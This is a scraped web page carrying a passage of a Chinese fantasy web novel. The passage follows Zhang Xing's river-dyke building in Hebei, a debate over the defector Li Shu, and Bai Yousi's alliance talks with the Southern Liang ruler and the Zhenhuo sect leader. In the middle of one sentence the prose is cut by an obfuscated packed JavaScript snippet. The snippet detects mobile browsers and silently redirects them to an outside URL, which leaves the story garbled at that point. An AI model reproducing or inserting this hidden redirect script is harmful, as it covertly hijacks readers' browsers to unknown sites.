刘黑榥会意,接过那唯一一把锄头后立即拍了胸脯:“首席尽管放心让我施为,这种沟天黑前我能挖出来十条!” 真气鼓荡,联结一体,张行亲自做阵底,却选用了跟刘黑榥一般无二的弱水真气,一下子便在原野中升腾出一团巨大的黑水,宛若地上悬湖,又鼓鼓动动,分明活物。 而刘黑榥拎着锄头,借着身后弱水真气,高高浮起,然后施展手段,将一股巨大的弱水真气挑起,然后锄入前方白线之内,远远望去,宛若一个大黑螃蟹忽然举起一个大钳子,再重重刺下。 弱水真气所化的大钳子落了地,便先将下方硬土侵蚀的酥软若沙,刘黑榥一锄头下去,却是立即意识到自己挖的太深了,尴尬之余,努力调整,终于把握住了分寸,轻松刨开地面,往前眼神而言,真如神仙在天上往地下开个田陇一般轻松。 本地士民从远处村庄田野中愣愣去看,虽是上午已经看到了一场,但还是不禁神驰魂摇,甚至有老者忍不住跪拜在地,念念有词,坚称是黑帝爷下凡来了。 而今日下午,一直到日落,当然没有挖十条沟渠这么多,毕竟还要不停修整和培压,却也足足挖了五条沟渠,而且其中三条已经在本地民夫的协助下成功沟通了大陆泽或者浊漳水。 这些带有高高河堤的沟渠,既能排水也能储水,旱灾时灌溉,水灾时避险,正是对付浊漳水这种泥沙偏大的河流最好最方便手段。 而回到眼下这些人中,你还别说,挖完几条沟后,不管是亲自挖了四条的刘黑榥还是挖了三条的韩二郎,都莫名没了之前的那种焦躁之态。 与其说他们就此意识到踏白骑这支工程队的效率,从而认为张行修完这些简单工程后迟早还是会去动高鸡泊这种更大更难的工程,倒不如说,当他们亲身以如此伟力参与到这简单的地理改造后,却是完全相信了张行的本意……知道这位首席绝不是因为某种场外的思量而拒绝高鸡泊工程,而是发自内心的觉得现在不合算。 原因嘛,很简单,此情此景,诚如许敬祖在那份文章中所言,古往今来,如张行这般把这般伟力用在民生之上的,不过是三辉四御而已。 便是赤帝娘娘远远见了,都要觉得这是承祂衣钵,凡人夫复何疑? 夕阳照在大陆泽上,染成一片金黄,颇有一番盛景,但此番盛景,张首席只看了两晚便看不到了,因为他还要继续顺着浊漳水把这种高堤沟渠继续修下去,而踏白骑的速度委实惊人,第三天他就转移到瘿陶县境内,看不到巨鹿泽了。 而也就是来到瘿陶县的当日,他便发现,不知道是不是乌鸦嘴的缘故,前日所言黜龙帮的麻烦果然渐次来了。 当先一个,便是水利工程的后续……黜龙帮修的快,修完就走,后续带来的一些问题则需要传导到官府和巡骑,才能再集中转达过来。 目前来看,核心问题还是更细微的水源争夺。 这是免不了的,而让张行重视的一点是,即便黜龙帮把均田授田制当成基本国策一般对待,而且还趁着大魏崩塌之际在河北系统性的拔出了各处豪强,可是,就在这黜龙帮统治的最核心区域,还是出现了明显的民间有力人士。 在这次的水利末梢争夺战中,宗族以及黜龙帮背景的基层官吏开始成为主力。 这似乎是无可奈何的事情,张行不敢说黜龙帮的官府就比这些民间秩序更公道,更重要的是,黜龙帮也没这个能力将自己的行政触角放在最基层。 现在唯一能做的,便是让刑律部和户部一起,跟在踏白骑的后面再搞一次大规模巡审,来为这些细微争端做调解和判决。 随后,是大行台那里的问题。 黜龙帮的此轮军改已经到了尾声,而似乎是为了彻底消解之前的波澜,也的确是在张行的建议下,在一切都成定局的情况下,徐世英公布了自己的一些选择根据……他承认自己有一些他身为军务部总管的私人裁量权,但总体上还是遵照了这些将领跟部队的紧密关系以及他们在几次大规模战事上的表现。 而这个表现,就引发了黜龙帮内部的一些纷争,最终闹得有些难看了。 为什么前日刘黑榥与韩二郎没有说这些事情,原因很简单,他们是此轮军改的最大受益者,当然不会无事生非。 回到问题本身,其实争论焦点很简单,一个是最常见的争功,人人都觉得那场战役中自己如何如何,谁谁必然比不上,这一点属于老生常谈;而另一个争论的焦点就是,哪些战役有资格成为军改中**的参考? 徐世英给出的是表格上清晰标注着以下战役:济阴-东郡建帮起义,历山之战,平原郡般县防御反击战,漳水之围,涡水剿灭大魏禁军战,河北-北地平定战。 争议的焦点在于,相当一部分人认为,河北-北地平定战属于伐谋、伐交、伐政,是瓜熟蒂落,军事上的发挥不大,并不能显出来打仗的能耐;而相对应的,黜龙帮在历山之战前对梁-谯一带的防御性突击战,进入河北后为了立足打的渤海郡突袭战,也都是关键战役,而且更显军事能力。 对此,张行心知肚明,这不是什么肤浅的争论,实际上,这种争端直接关系着许多人、许多团体的归属感与**地位。一旦确定,将来也许继续影响着黜龙帮内部的**生态。 比如说,历山之战前对韩引弓的那场防御作战,为什么这么多人提?因为那是內侍军的根子,也是踏白骑第一次出场,这两个背景的帮内高级官吏就会对这件事格外看重。 别的不说,现在的涿郡太守老沈,当年就是那一战中展露头角,而在这一战之前,具体来说,在踏白骑第一次组队冲锋之前,他还是一个明显对黜龙帮有抵触心理,觉得自己单纯是因为家乡被黜龙帮占据属于被逼迫过去的修行高手。 他能不上心吗?所以以他为首的几名崭露头角踏白骑对这件事的反应极为激烈,和南面內侍军的王焯几人相得益彰。 至于说渤海突袭战,那是河北义军的根! 不管是窝在高鸡泊的窦立德,还是之前从渤海平原去登州又折返的高士通,都是这一战才正式在黜龙帮立足,如何能不重视?而黜龙帮既选择在河北立下根基,这些本土义军的影响力也是不能忽视的。 而想到这里,张行忽然又想到了刘黑榥,这厮从窦立德去幽州后日益活跃,隐隐有背靠大行台成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168030|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为河北义军首领的趋势,结果前日来见自己却没有提这件事情……是体谅他张首席和徐总管,还是到底不如窦立德那般晓得要多团结人心呢? 恐怕还真不好说。 思索许久,张行只能给出批复,徐世英原定的说法不变,将梁-谯防御战纳入历山之战中,非只如此,之前黜龙帮与张须果集团的拉锯也应该纳入其中,要将历山之战扩展成一个战役;同样的道理,渤海突袭战也可以纳入针对河间大营的般县大战,甚至河北义军在高鸡泊的坚持,也可以纳入其中;而吞风君的黜龙之战也应该纳入河北-北地的平定作战中。 最后,张行还专门写信给张世昭、许敬祖几人,让这几位**智商极高的人着手编纂黜龙帮的简略起家史,并专门提醒,应该对內侍军,南阳伍惊风-莽金刚义军,河北义军,荡魔卫,乃至于知世郎王厚的义军都抱有正统来源的包容性,而且应该着重写明白大魏暴虐黑暗,黜龙帮各路豪杰对大魏**,继而聚拢成事的脉络。 甚至,李枢也应该给予客观的评价,说清楚他的功劳和不可饶恕的背叛。 送完这封信后,张行难得有些疲惫,这是他这些日子随行挖河后少有的感觉,便也提前睡去。 孰料,半觉黑甜,到了这晚上三更时分,有人直接闯到了张行睡觉的窝棚,喊醒了张行。 张首席翻身坐起,一时有些发懵,因为来到他跟前的,除了他一早感觉到的雄伯南,还有陈斌、徐世英、王叔勇、徐师仁、谢鸣鹤、张金树、阎庆、钱唐。 想了一下,张行只能开玩笑:“这是司马正打到邺城了?可便是邺城被夺下,你们也该带着魏公一起逃出来才对吧?” 陈斌想要说话,却被素来谦让的雄伯南挡住了,后者主动第一个开口:“首席,前军来报,李枢似乎到了太原。” 张行想了一想,终于意识到为何是这般阵仗了,却只是摇头:“天要下雨,娘要嫁人,刀兵相见是难免的……何至于此?” 陈斌终于抢到言语:“首席,关键不在于此。” 话虽如此,他却没有继续说下去,其余人也都没有把话直接说出来的意思。 张行沉默了一会,猜到了原委:“他想回来?” “是。”徐世英言简意赅。“他说他愿意献出楼烦关,引我们入太原……这样河东的鱼皆罗根本支援不及,太原的王怀通又是个文修,只要我们派遣三位宗师以上,是可以突袭得手的。” 鱼皆罗,逃到东都后又被白横秋招揽过去的老牌宗师,实际上,很多有关陇背景的将领从江都那边回到东都后都选择倒向了白横秋,至于王怀通则是太原本乡本土的宗师,一文一武,算是大英在晋地的两个支点。 “你们觉得可信吗?”张行微微挑眉。 “事关重大,魏公身体不行,没赶过来,但我们几个路上商议了一下,都觉得此事真假不好说……”雄伯南肃然道。“还得首席拿主意。” “我不想立即主动开战……一旦入了晋地,便是能立足,咱们跟白横秋也肯定要在山窝子里面对面耗下去。”张行缓缓以对。“而且,我也不想接纳李枢,便是他真的想回来,我也不想纳他!” “我们的意思是,若能将计就计,将他擒回来,就地正法,也是个说法。”徐世英提醒道。 “不错。”谢鸣鹤也点头。“所以,信与不信无所谓,关键是这算不算个机会……你不想突袭晋地,难道不想擒杀李枢?” “不想。”火把下,张行揉了下眼睛,给出了一个意外的答复。“他这个人,若是回来,不管是収降还是正法,帮里肯定有动荡……这事就像往煮鱼的锅里倒满瓶子醋,看起来是去腥了,其实反而坏了汤底;而于他个人来说,之所以会来这么一回,不管是真想回来还是引诱我们,都免不了他忍受不了自己无所为的心态……要我说,对付他,最好的法子就是轻视他,乃至于无视他……把他当做一个投降过去的寻常舵主来看最是妥当,咱们至于因为一个叛帮的舵主弄得这么多龙头总管连夜乱跑吗?” 众人都有些无言以对,不是没人想过或者猜到张行可能就是这个意思,但问题在于,不来之前,谁敢保证呢? 而且平心而论,在场中确实有几位对李枢此人如鲠在喉,如芒在背。 暮色深沉,数千里外,就在张行结束了与黜龙帮最高层的这场临时会晤的时候,萧辉则连夜召见了白有思。 满是烛火的大殿上,这位南梁国主开门见山:“白娘子,所以,若我不用你们为援兵,大明便要起兵来攻是吗?” 白有思看了眼立在侧面的杜破阵,然后再看萧辉,明显不解:“萧国主难道没听杜龙头言语吗?他是龙头,我这个龙头还须年底才能翻正,他说的话便是黜龙帮要说的话。” 萧辉连连摇头:“我还是想听白总管把这话说出来。” “确系如此。”白有思言语干脆。“萧国主若不用我们,我们自然要攻取淮南以自肥。” 萧辉沉默良久,然后负手居高临下来问:“何至于此?” “国主说笑了。”白有思不由失笑。“当今之世,乃大争之世,便是只有四家,那也是大争之世,所谓不合则战,大约如此!” “可是你们跟东都不就只是不战吗?”萧辉当即反问。 “只是之前战后定的不战之约罢了,合约到期,必然也是不合则战。”白有思丝毫不做避讳。 萧辉想了一想,一声冷笑:“可是白娘子,既是不合而战,既是大争之世,我便是退让,许你们引兵平叛,不也是羊入虎口吗?跟丢了淮南逃走有什么区别?” “当然有。”白有思忽然提剑上前数步,来到萧辉跟前,然后隔着一节台阶抬头相对。“萧国主,黜龙帮或者说大明,在没有灭掉东都和大英之前,是不可能全局南下,然后将自己的腹心放在人家刀口的……换言之,不合而战,我们也只会取一个淮南,何况是合呢?我们的合,必然要比真火教操师御的合更宽松!” 萧辉沉默不语。 白有思看了杜破阵一眼,后者心中会意……他如何不知道,萧辉这般反应,其实已经心动,只是需要一些额外的说明与保证罢了。 一念至此,杜破阵心中长叹一口气,艰难开口:“萧国主,你要明白我们黜龙帮的好意!我们来南面,一则是跟你们不合则战,二则也是要防着大英从上游冲出来,所以我们替你去平叛湖南,同时也是替你抵挡大英,这对我们来说才是合的道理所在,大英是关陇的根底,他们对南人向来视为案上鱼肉,是不降则战。至于说,黜龙帮有没有将来施展开来吞并你们的意思,便是有,那也是北面统一之后,而真到了那个时候,你还没有用我们这把刀在江南剖开你的一片天地,只能说,便是被収降了也活该。” 这番话说的意外的情真意切,白有思都多看了杜破阵几眼。 萧辉也明显被对方说动,不由艰难相对:“若是这般,我有三个条件。” 很显然,他之前三天内必然思索称量过许多遍这些事情。 “萧国主请说。”白有思言语轻松,甚至主动往下走了几步,让开空间,以免咄咄逼人。 “大明和大梁是平等关系,而且要正式结盟,我们借盟友的兵马平叛和抵御大英,而且盟约要明确两家疆界、臣属,而且若将来取下巴蜀,也是大梁的基业,咱们南北平分。”萧辉言语急切,颇有些如释重负之态。“此其一也。” “平等盟约应该无妨,可以仿照与东都的例子,至于说平分天下,这个我觉得有待商榷,而不管如何,这个都要大行台那边回复。”白有思立即拱手。“出了此宫城,咱们就派人速速北上。” 萧辉点了下头,继续来言:“你们的兵马进了我们疆界,我们供给你粮草,你们则应该严守军纪,不得劫掠,也不能擅自偏移我们定下的行军路线和平叛地区。而且,平叛过程中,我身为国主,才是唯一能做赏罚的人,所以你们不能杀降,叛军官兵都要我来处置……此其二也。” “这个没有问题,我现在便可以答应。”白有思脱口而对。 萧辉点点头,神色却愈发凝重:“其三……白娘子说,你杀操国师如杀一犬?” 白有思立即笑道:“我说的是如凡人杀一犬,麻烦是有的,但总有把握……如何,萧国主的意思是,让我先杀操师御,两家方能合?” “不是。”萧辉旋即肃然。“我是说,将来局势稳定了,我们南方不需要你们协助就能自为了,要你们走,你们要随时走,不能拖延。” 白有思立即点头:“但要先结清报酬……我们来打仗不能白打,夺取州郡,消除叛逆,都要明文记录对应酬金。” 萧辉愣了一下,立即颔首。 天亮之前,商议完具体细则的白有思、杜破阵一起走出行宫……来到宫门前,白有思有些疑惑回头:“我本以为他晓得利害,知道我们心存不轨,与我们撕破脸也说不定,如何最后还是答应了,且这般干脆?他不像是那般懦弱之辈吧?” 杜破阵苦笑一声,在凌晨的露水中拢手以对:“整个大梁都如泥沼上的房屋,还时不时有潮水在眼前涌出来……要我说,咱们说不得已经是他最正经的支柱了,跟他懦弱不懦弱有何关系?” 白有思一时错愕。 而话到这里,杜破阵收敛表情,复又有些艰难言道:“其实白总管,我现在觉得,咱们还真不如直接开战的好,我有一万义子军,一万**营,外加淮水水军,以你的英武,和徐州的后援,说不得真能全取淮南、江东……” 白有思也沉默了一下,但还是摇头:“人无信则不立,况且若是那般,荆襄就保不住了……咱们不能让大英的人占据优势。” 杜破阵只能点头。 此时,天微微亮,有鸡鸣于市。 PS:感谢覆汉新盟主大越陶朱公范蠡老爷的上盟……感激不尽!也感谢所有的读者!大家蛇年大吉,人人发大财!给大家拜年了! 第七十六章 安车行(5) 甲士粼粼,如过江之鲫。 艳阳天高照,江心洲畔树荫下的一群劲装皮甲之人正在抱怀来看江中舟船与洲上道路往来不停的甲士,各自面色铁青。这些人,皆是真火教骨干,而面前的甲士如流赫然是所谓黜龙帮对大梁的新援! 按照说法,这第一批抵达的应该还是黜龙帮外藩淮右盟兵马,却不料竟这般精锐。 “林大哥,数完了,应该就是实打实的一万人整!”一名年轻军官沿着江心洲林荫气喘吁吁跑了过来,远远便做汇报,明显是江东吴地口音。 “什么林大哥,叫林**,要不然林将军,哪来的大哥小弟?有没有一点规矩?”人群中一名年长之人严厉呵斥,却是江西口音。 被呵斥者面露不屑,则不晓得是对这年长者拍马屁的行为感到不爽利,还是单纯江西江东两地隔阂所致。 “无妨,小赵辛苦,且歇一歇。”为首之人此时终于开口,却意外的年纪不大,想来不是修为到位就是有跟脚的。 实际上,此人换做林士扬,赫然是操师御关门弟子,据说还受过那位千金老教主的亲身教导,所以年纪刚到三旬,便已经是成丹高手,算是真火教中年轻一代的领头羊了。 而更妙的是,此人是江东出身,却明显在江西生活日久。 回到眼下,那小赵稍歇,不过片刻,便有另一名年轻的江西军官自江心洲另一侧过来,飞速回报自己观察,也是一万人。 “那就没错了。”有人总结道。“就是一万人。” “应该是杜破阵的义子军。”扶着腰中弯刀的林士扬给出判断。“这是袖里乾坤从一个登州偷羊贼到淮上立足的手段,也是他被司马正从淮西撵走又能依次在徐州、淮南立足的根基,他收拢淮西子弟,要么是修行者,要么是青壮,俱纳为义子……” 话到一半,林士扬似乎中途想到了什么,直接停住,只看着眼前的义子军甲士发呆。 其余人以为话尽,其中一人赶紧来笑:“为何叫杜破阵袖里乾坤?” “当然是他背后手段惊人……刚刚林大哥说的那般清楚,从一个偷羊贼到一方诸侯,次次被打败,次次都还能重新立足,而且次次都还能不失了面子,靠的就是这背后勾连的手段!纳义子,联豪杰,交诸侯,还不忘倚仗强横,始终屈服那张行……偏偏江湖上哪有说人家背后如何的,只能用袖里乾坤讽他。” “原来如此。” “扯这个作甚!”有人不耐起来,直接看向林士扬。“林将军,如此说来,这黜龙帮此番并没有施展全力?只是一个外藩一万精锐的话,咱们怎么都能拿捏!在这里吹捧他杜破阵,只是自己吓了自己!” “别忘了,还有一位号称宗师第一的白娘子呢。”被打断那人冷笑提醒。“这位跟司马正从少年开始名扬天下,至今未堕名声,绝不是什么虚妄之辈。” “若是这般来讲,也该是司马正宗师第一,白娘子勉强第二,非要号称宗师第一,不免有些刻意鼓吹的嫌疑吧?” “非也非也,司马正没有堕威风是不错,但这几年龟缩东都一隅,未见战绩,反倒是白娘子,出入东夷,刺穿北地,亲手斩杀宗师,参与黜龙,现在是说她是宗师第一,其实并不为过。” “其实,白娘子的战绩颇有些可疑……”忽然另一人插入谈话,表达了质疑。 “你是说**?可是东夷人也没有驳斥,北地人也都服膺,这不是证据吗?” “不能说**,而是说黜龙帮刻意推崇……”提出质疑的那人笑道。“譬如黜落吞风君,据说黜龙帮汇集八百奇经,外加咱们的老教主一起动手,最少一位大宗师,四位宗师,那敢问为何一定就要说是她白娘子如何如何呢?而且谁知道荡魔卫的大宗师有没有参与?还有一条明显至极的,便是她夫君张首席了!” “张首席又如何?”连林士扬都暂时放下眼前的义子军甲士,转过头来。 见到林士扬参与进来,那人赶紧来言:“道理很简单,诸位想想就知道了,那张首席做到当日东齐格局,荡魔卫未降服之前,手下宗师便有四人,若无修为如何镇得住下面诸多豪杰?依我看,他早就是宗师,而且是顶尖的宗师,尤其是他早年便亲自率领踏白骑建功立业,素来亲自做阵底,就是明证。然则,其人对外,从来不承认自己是宗师修为,反而只做凝丹表态,岂不有些用荒诞? “所以要我说,白娘子的战绩,多是黜龙帮并力而为,而张行身为首席,主动让功,其余人也都无奈,以此硬生生堆出一位宗师第一来,对内则是要推白娘子上位,夫妻并权;对外则是要如今日这般,威吓外邦,使之不敢当其锋芒。” 闻得此言,不少人纷纷颔首认可,但之前与之争执的一人思索了一下,反而直接拂袖:“王都尉,你这番话岂不是脱裤子放屁?!她白娘子是宗师第一还是宗师第二,是真单人黜龙还是并力而为,于咱们而言到底有什么区别?咱们难道有第二位宗师?” 众人面色陡变,便是被骂的难堪以至于要发作的那人,听到后半句也都戛然而止……实际上,树荫下忽然间就沉默了下来,而伴随着头顶树叶的哗哗作响,远端舟船上与江心洲的临时兵站周边则依旧是甲士如鳞,似乎过江之龙。 没错,这人终结了这番争端——白有思如何如何都不重要,重要的是,这位即将渡江的白娘子能不能打得过他们真火教教主,也是教中唯一宗师兼他们的领袖操师御? 答案似乎并没有那么复杂。 恨只恨,之前大魏在时那二十几年,将南地种子拔的这般干脆!现在关陇的后人占尽了这天下地气! “说的不错,便是白娘子一时不能成功,黜龙帮再派两个宗师潜行过来替她成名又如何?”忽然有人言语冷冽。“说不得还能来一位大宗师呢!” “若是这般讲,兵马也是这个道理,淮右盟一个外藩只有一万精锐,可黜龙帮则有一百六十个营!”又有人猛地愤怒起来。“可只因为他们强横我们虚弱,就放任他们这般堂而皇之入我们心腹之地吗?江心洲、京口被他们这般轻易占据,江宁宛若去壳之蛋,无鳞之鱼!而江宁若也无了,整个江东不保!江东不保,我们如何敢自称基业?!还要退回到江西山窝子里吗?!” “到底是有国主大义名分,说白了,这些人还是要去湖南的,江心洲和京口分明是为国主占的!”有人压低声音做辩解。“软硬兼施,名实俱下,教主也难!不如让他们一条路,等白娘子领着这条过江龙去湖南,再想法子拿回来。” 树荫下又是一阵沉默,但沉默中明显有不少粗重喘息之声。 片刻后,许久没有开口的林士扬忽然扶着弯刀来问:“诸位兄弟,你们只把江东、江西算做我们的东西,淮南和湖南就不算吗?” 众人难免齐齐一怔……他们跑到这里看了半日,说了半日,包括眼前的渡了半日,一切的根子在哪里? 不就是湖南叛逆外加淮南引狼**吗?不就是真火教在大梁内部强大到过了头,引发了淮南与湖南的强烈不满甚至刀兵相见吗? 林士扬沉默了片刻,并没有什么失望之色,这倒不是说他不失望,而是说他对眼下的局势和人心已经有了足够的认识,以至于问出现在这句话前就已经预想到结果了。 所以,他没有再做什么解释,而是很认真的做出了宣告:“诸位,国主引狼**已成定局,咱们不能坐以待毙,要我说,他萧国主此举是先负了大梁五十郡的豪杰百姓,也负了我们真火教的扶持,这个时候,咱们无论如何,一定要正大光明的指着大梁五十郡的人心表示反对,否则一步步入侵下来,教内教外的人心都会涣散,都还以为是我们也要对黜龙帮做降服呢!最差,也会觉得我们怕了黜龙帮,没有半点反抗之力,自此起了二心。 “现在,我要去江宁见教主,当面痛陈利害,谁跟我去?!” 这下子,下方中的不少人,尤其是江西口音的年轻人纷纷活跃起来,很快就形成声势,便是其余的老成之人与江东之人也多有些意动。 于是乎,不过片刻,口音混乱的众人便达成一致,集体随着这些过江甲士一起过江,往京口而去。 既过京口,便纵马趋句骊山,越蒋山,直趋江宁城,都是走惯的路,不过傍晚便入得城内,然后他们就见到了自家教主……还有之前一直嘀咕的宗师第二白有思。 原来,外面义子军借道江心洲与京口的同时,白有思一直在造访江宁城的操师御。 而林士扬率领教中所谓少壮派抵达时,这里的气氛已经不需要他们添油便已经如火如汤如油炸了。 “操公,这江宁城自数百载前大唐南渡时便号称有王气,为何贵国国主只在扬州居住呢?”白有思瞥了一眼鱼贯而入却又戛然而止的一众真火教骨干,回过头来继续发问。 操师御面色如常,有问必答:“道理很简单,江宁城当日被暴魏肆虐,连石头城都拆了,宫室也无,我们那位国主白娘子又不是没见过,他可是一定要排场的……宫室、人口、三宫六妃御林军,还有皇亲国戚,一个都不能少……” “那也不能一直窝在扬州吧?”白有思似乎依然不解。“你看我们的邺城,也是被拆了七七八八,连漳水三台都被削了,可那到底是河北天然之首府,于是我们又重新建了起来,现在的规制已经不比昔日东齐旧都差了……江南如此富庶,江宁这般重要,为何不重新修起来呢?” 操师御点点头:“其实已经开始修了,只是我们碍于湖南叛乱,人力物力都不足,所以现在也只修了半个石头城……不信白娘子去江边看看。” 白有思点点头,不置可否。 修石头城嘛,石头城首先是个江防堡垒,是江宁的卫城,操师御修这个肯定不是为了保卫大梁国主,防备倒还差不多……但也不一定,他这个修为,这个势力,防备占据了半个淮南的萧辉未免可笑。 不过,考虑到石头城-京口-江心洲这一线足以笼罩在同一位大宗师的机动防御范围内,一旦操师御成了大宗师,这江南可就没那这么容易进了……从这个角度来说,人家要防备的,说不得本来就是黜龙帮呢。 只是现在,份属假想敌的义子军已经占据了江心洲,到了京口,石头城还没有修复好…… 白有思若有所思之际,那边操师御也有些心烦意燥的看向了来人:“士扬,何事匆匆?” 林士扬顿了一顿,明显刚刚从话语中想到什么,但还是决定躬身拱手:“教主,淮右盟以外军入京口,人心震动,教中年轻子弟多有浮躁之态,请教主训示。” 操师御明显早有预料,便立即呵斥:“什么外军,那是盟友借道!又不是赖着不走了,有什么浮躁的?好好招待便是!” 林士扬一声不吭,低头称是,而跟来的一群少壮派更是有不少人面色发白,只能束手而立,纹丝不动。 白有思在旁笑了一下,也不知道算不算借坡下驴:“既然操公这般好客,趁着军队流转,我想去**一下贵教的大观!不知可否?” 操师御一愣,旋即警惕起来:“哪个大观?” “扬州城外的临江大观我已经去过去了,此番平叛又不免要去湖南的湖心观,那就只有真火教的江西总观不得见了,不免可惜。” 操师御认真看了看对方,干脆挑明:“只是白总管一人想去?不是受淮北那位托付?” “我来的事情孙老教主都不知道。”白有思连连摇头。“何况千金教主何等人物,他既然主动离开了南方,便不会再插手真火教内外俗务……就连吞风君一事也是荡魔卫的大司命出面,拿南北和谐的大义规劝才动身的,也只黜龙成功后直接离开。” 操师御幽幽一叹,也不知道在想什么,片刻后方才看向了林士扬:“如此,你就好生陪同白总管走一遭江西总观。” 林士扬不敢怠慢,赶紧俯首答应。 白有思见状,终于不再玩王对王的戏码,直接起身抱着长剑从林士扬这群人身侧离开。 人既走,这昔日南陈宰相府大堂上便不免窃窃私语,而林士扬犹豫了一下,还是主动上前,拱手进言,丝毫不顾人家白三娘宗师之身就在门外:“教主,我有话说。” “讲。”操师御抬起手来,同时深呼了一口气。 “教主,我觉得容忍黜龙帮,哪怕是他们的外藩入境,都是切切不可取的。”林士扬肃然扬声道。“若是以大梁、以江南计,湖南叛乱也只是内忧,应当自攘,以内忧而引外军,是本末倒置;而若以真火教计,国主此举已经是在对我们动手了,不能不做反击!” 此言既出,堂上不只是那些随林士扬的少壮派,诸多真火教骨干都上下来看操师御与林士扬二人。 “不是这样的。”停了一下后,操师御也正色回复。“我自然晓得咱们跟黜龙帮是争雄立足的对手,可现在人家强我们弱总是实话……尤其是江防尚未整备,石头城都没有修好,如何抵抗?只能暂时与之周旋罢了。而且,你们也不要觉得我什么都没做,对外,我一直在联络南岭,在拉拢安陆;对内,我也一直想使大梁一体,只是湖南那边对我们成见极深,江东世族又看不上我们,便是国主也嫌我们势大难用,有了猜忌之心,这又能如何呢?现在真要是弃了大梁的大局,便是便宜了别人!” “是属下不晓得大局,更不晓得教主一片苦心,擅自猜度,还请教主恕罪。”林士扬没有半点犹豫,直接跪地。 看这样子,似乎是师徒二人早就准备好的双簧,用来安抚人心一般。 果然,随即其余人也都出列称自己之前思虑不周云云,而操师御更是如释重负,直接摆手,让林士扬去陪同白有思去了。 就这样,趁着南梁理所当然的内乱,梁主萧辉请淮右盟入援的机会,黜龙帮趁虚而入,白有思先导,淮右盟义子军一万再进,接着是徐州行台与淮右盟水军合并一万充当后勤支援自淮入江,最后则是徐州行台与淮右盟后军合计两万众并进江北。 到了六月底,就有黜龙帮四万之众水路并进,夹江而上。 而实际上控制江东江西的南梁权臣操师御竟不敢阻拦,甚至有礼送之态。 时间来到七月,炎热已经开始从最北面消退,但不知道是不是吞风君被黜落的缘故,河北和北地今年都没有过早转冷,而大约就是白有思等人逆流而上的时间,张行来到了他不算熟悉的滹沱河。 河北流域最大的四条河流(虽然最后都汇集到一处,但已经到了出海口),清漳水、浊漳水、滹沱河、桑干河,水文条件各不相同……清漳水最清,而且处在河北最精华富庶地带,经常得到疏浚与加固,甚至张行此番修河就是从清漳水开始的;桑干河过于偏北,大部分流域都是山地,只幽州段需要看顾,而且水流量很低,应对起来比较简单;接着是浊漳水,泥沙、泄洪湖泊面积过大,年久失修等等,使得这条河成为了一个麻烦;但最麻烦的还是滹沱河,它虽然水清,可冬夏水流量差距极大,夏日经常闹洪灾,甚至因为洪灾无序而缺乏成体系堤坝! 一句话,这是河北最麻烦的一条河。 但张行还是来了,因为他已经敏锐的意识到,如他这般修河不仅仅是一个水利,是增加灌溉面积、增加田亩的一个过程,还是一个如之前刑律部巡视地方使统治深入人心的一个过程,甚至是他自己观想至尊,模仿赤帝娘娘开辟山野的一个过程……换句话说,修河的好处虽然之前就有所预料,但还是远远超出之前的预料。 所以,张行毫不犹豫的来到了滹沱河畔。 “首席请看。”信都郡最北端的边界上,冯无佚指着眼前的滹沱河内侧来言。“那边就是著名的半坡……” 张行放眼望去,果然看到彼处河道边缘隐隐有零散真气飘荡,与三辉四御的道观相差彷佛,晓得是个有来历的地方,但还是奇怪:“为何是在河道里?” “因为半坡先民大概本就是靠着河道来过活。”冯无佚一声叹气。“青帝爷教授了许多东西,可唯独这稼穑之事,怎么都不可能是青帝爷之后才有的……就好像这滹沱河,冬夏水差极大,一旦水涨,便有淤泥留在河道坡上,先民在此处寻得稗草,便依此地种植,又因为鸟兽无常,就只能在这河道内搭起半入土的窝棚,日久天长,便有了半坡先民的聚居,也有了百族之一的人族……不过,这些也是老夫我看着本地风俗掺着自己猜想的,算不得准。” 张行点点头,心里已经信了十分,却是径直走了下去,其人身前断江真气如草丛生长一般自内向外翻滚,竟将身前数尺深的河水刺开,然后又一步步踩着淤泥走到那之前所观河道半坡之地,伸手取了一块泥土来,这才一步步走了回来。 来到岸上,其人散开手中真气,直接捏住了这块淤泥。 没有什么先祖之血,没有什么遗物,也没有什么凝结成华,就是这么一捏,烂泥散落流下,弄得张首席满手污泥。 “筚路蓝缕,方有尺寸之地,兴衰涨落,透尽先人之血,而我们到了今日又如何能放弃这河道呢?”就是对着这一手泥污,张行依旧大为感慨,然后即刻来问。“冯公,依着你的经验,滹沱河该怎么治理?” “我所能想,便只有一个法子,那便是拉宽河道,在外围筑大堤,以防大涝,在围内筑格子缓堤,以分水势,在内河道则立夹堤,束水攻淤!”冯无佚俨然对自己老家的这条河流早有想法。 “不做分流分势?”张行追问。“不做灌溉?” “滹沱河没法这么搞……防洪去淤是第一要务。”冯无佚坚持道。 “那就这么搞,起三层河堤。”张行答应的干脆。 冯无佚忍不住看了这位首席一眼。 “冯公何意?”张行略显不解。 “无他。”冯无佚苦笑道。“滹沱河非是不能治,但投入极大,却无多少收效,最多只是免去沿岸百姓可能的灾荒而已,让他们省的每年夏日都担惊受怕。所以,非只是大魏时,便是东齐时、周时、唐时,也都无人修,只把清漳水修了无数遍,好将河北财赋输入妥当…… “首席,我明白告诉你,以信都人来讲,我自是希望你连修滹沱河的三层堤、可若以黜龙帮大头领来讲,委实不如用这个功夫去修济水、淮水,乃至于去北地铺路都无妨的,那样得人心也多些。在这里,便是周遭百姓都不一定想起来记你的好歹……” “无妨。”张行摆手示意。“事情要一件件做,这次要做的就是整修河北水利,使河北一体,断没有遇到硬骨头就躲开的道理……现在秋水未过,先修外面的大堤,这样好了,我还是引踏白骑筑堤,冯公负责规划河堤,然后我给你签个文书,直接动员地方官吏直到民夫一层。” 冯无佚点点头,便转身而去,往身后鹿城方向而走,但走了几步,似乎是意识到自己忘了行礼,便又回头下拜,乃是在荒草茂茂的河堤之上直接跪地,重重叩了一下首。 张行看着这个老头,既没有专门阻止,也没有上去表演什么,只是目送对方起身离去,然后才转过头来去看身前被滹沱河水淹没的半坡。 看了许久,翻过手来,才发现手中淤泥已经干涸,搓了一搓,全是灰土。 